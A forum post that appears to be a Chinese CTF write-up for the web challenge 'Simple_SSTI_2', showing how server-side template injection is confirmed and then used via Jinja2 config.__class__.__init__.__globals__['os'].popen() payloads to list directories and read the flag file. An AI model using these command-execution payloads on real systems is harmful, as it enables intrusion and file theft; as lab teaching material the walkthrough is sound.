首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
SAAS
IT技术论坛门户
ToB门户
了解全球最新的ToB事件
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
微头条
Follow
记录
Doing
博客
Blog
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
排行榜
Ranklist
相册
Album
应用中心
qidao123.com技术社区-IT企服评测·应用市场
»
论坛
›
软件与程序人生
›
前端开发
›
Simple_SSTI_2(WEB)
返回列表
发新帖
Simple_SSTI_2(WEB)
[复制链接]
发表于 2025-3-15 21:20:02
|
显示全部楼层
|
阅读模式
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
×
这道题我也是第一次碰,不外我很好奇为什么我不从SSTI_1开始做
##解题思绪
拿到页面一串英文,告诉我们缺少一个flag参数,于是我令flag=1,于是打印了1,输入各种语句也是,原封不动变为传入的字符串
根据题目提示,查了下SSTI,于是得知这道题大概用了SSTI模板注入,因此我们需要验证下
如果{{7*7}}实行结果为49的话,说明,这就是SSTI模板注入!
使用:{{ }} 除了可以输出传递的变量以外,还能实行一些基本的表达式然后将其结果作为该模板变量的值
{* *}是注释,a{* *}b被模板渲染的结果应该为ab
_class_返回一个实例所属的类__init__查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper的字眼,说明没有重载函数名 .__globals__获取 function 所处空间下可使用的 module、方法以及所有变量os.popen()用于从一个命令打开一个管道open()用于打开一个文件,并返回文件对象config当前application的所有
配置
。 此外,也可以如许{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} 至于模板类型,如图,绿色就是成功实行,红色就是实行失败
先ls查看当前目次下有什么文件或目次,有个app目次?进去看看
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
复制
代码
发现/app目次下有个flag文件
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
复制
代码
将ls改成cat读取到flag文件内容,得到flag
/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
复制
代码
##
参考链接:
SSTI(模板注入)漏洞(入门篇):
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
SSTI模版注入(初步):
SSTI模版注入(初步)_ssti模板注入-CSDN博客
BUUCTF SSTI模板注入:
BUUCTF SSTI模板注入 - 高人于斯 - 博客园
##总结
SSTI
服务器
端模板注入(Server-Side Template Injection)
原理:
用户的输入先进入Controller控制器,然后根据哀求类型和哀求的指令发送给对应Model业务模型举行业务逻辑判断,
数据库
存取,末了把结果返回给View视图层,颠末模板渲染展示给用户。
利用点:
服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部门,模板引擎在举行目标编译渲染的过程中,实行了用户插入的可以破坏模板的语句,因而大概导致了敏感信息泄露、代码实行、GetShell 等问题。
注意:
凡是使用模板的地方都大概会出现 SSTI 的问题
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
继续阅读请点击广告
回复
使用道具
举报
返回列表
南七星之家
+ 我要发帖
登录参与点评抽奖加入IT实名职场社区
下次自动登录
忘记密码?点此找回!
登陆
新用户注册
用其它账号登录:
关闭
快速回复
返回顶部
返回列表